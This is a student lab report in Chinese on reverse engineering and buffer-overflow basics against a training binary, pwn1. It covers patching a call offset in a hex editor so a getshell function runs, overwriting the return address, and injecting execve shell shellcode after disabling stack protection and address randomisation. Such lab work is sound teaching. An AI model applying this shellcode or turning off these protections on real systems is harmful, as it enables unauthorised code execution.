20155222卢梓杰 实验一 逆向及Bof基础
实验一 逆向及Bof基础
1.实验对象为32位可执行文件pwn1,这个程序主要有main、foo、getshell这三个函数,其中foo函数功能为输出输入的字符串,getshell函数功能为打开一个shell,原程序中main函数只调用了foo函数,接下来我们先通过直接修改程序机器指令,改变程序执行流程,使getshell函数被调用
实验步骤如下
-
1.使用
objdump -d pwn1 | more
命令对pwn1进行反汇编
可以看到以下主要内容:
- 1.getshell函数的入口地址为0x0804847d,该函数功能为打开一个shell
- 2.foo函数的入口地址为0x08048491,该函数功能为输出输入的函数
- 3.main函数调用了foo函数,机器码为e8 d7 ff ff ff
考虑e8可能为指令call的机器码,故d7 ff ff ff可能对应foo函数的地址0x08048491,而getshell函数的地址为0x08048491,两者相差0x14,考虑到数据以小端方式存储,实际地址为ff ff ff d7,将d7加上或减去0x14即可能使getshell函数被调用。
(实际上d7 ff ff ff是一个偏移值,目标地址(0x08048491)=这条指令所在地址(0x080484b5)+指令长度(0x5)+操作数(-0x29),ff ff ff d7的二进制表示11111111 11111111 11111111 11010111即表示16进制的-0x29,现在欲将目标地址改为getshell函数的入口地址0x0804847d,则应将操作数再减去0x14,即-0x3d,补码为11111111 11111111 11111111 11000011,即ff ff ff c3,用小端方式表示为 c3 ff ff ff,这证实了之前的猜测,将0xd7减去0x14,即可得到正确的值)
-
2.下面我们将d7修改为c3
- 1.
vi pwn1
发现这是一个二进制文件 - 2.在vi中输入命令
%!xxd
以16进制显示文件,接着输入命令/d7
找到要修改的位置
- 3.输入命令i进入编辑模式,将d7修改为c3,完成修改,再输入命令
%!xxd -r
转回二进制,再保存退出,注意顺序,先转回二进制再保存退出。
- 1.
-
3.现在再执行pwn1,可以进入shell,玩完之后exit退出shell
2.接下来我们通过构造非法的输入参数,造成BOF(缓冲区溢出)攻击,改变程序执行流程
- 1.首先要确认输入字符串哪几个字符会覆盖到返回地址
发现eip中的数据是35353535,说明在5的区域内 - 2.再次尝试
发现是在1234的位置,说明我们应该将getshell函数的入口地址放在1234的位置 - 3.但是我们怎么将16进制数转换为ascii码的形式输入呢,为此,我们要构造输入字符串
然后就成功打开了一个shell
3.这次我们注入Shellcode并执行
- 1.首先得做一些准备工作
execstack -s pwn1 //设置堆栈可执行 execstack -q pwn1 //查询文件的堆栈是否可执行 X pwn1 more /proc/sys/kernel/randomize_va_space 2 echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化 more /proc/sys/kernel/randomize_va_space 0
- 2.构造要注入的payload
接下来我们来确定\x4\x3\x2\x1到底该填什么。perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode
用gdb调试pwn1
由此我们可以确定应该填入\xc0\xd3\xff\xff - 3.运行一下
果然成功了,真的很简单。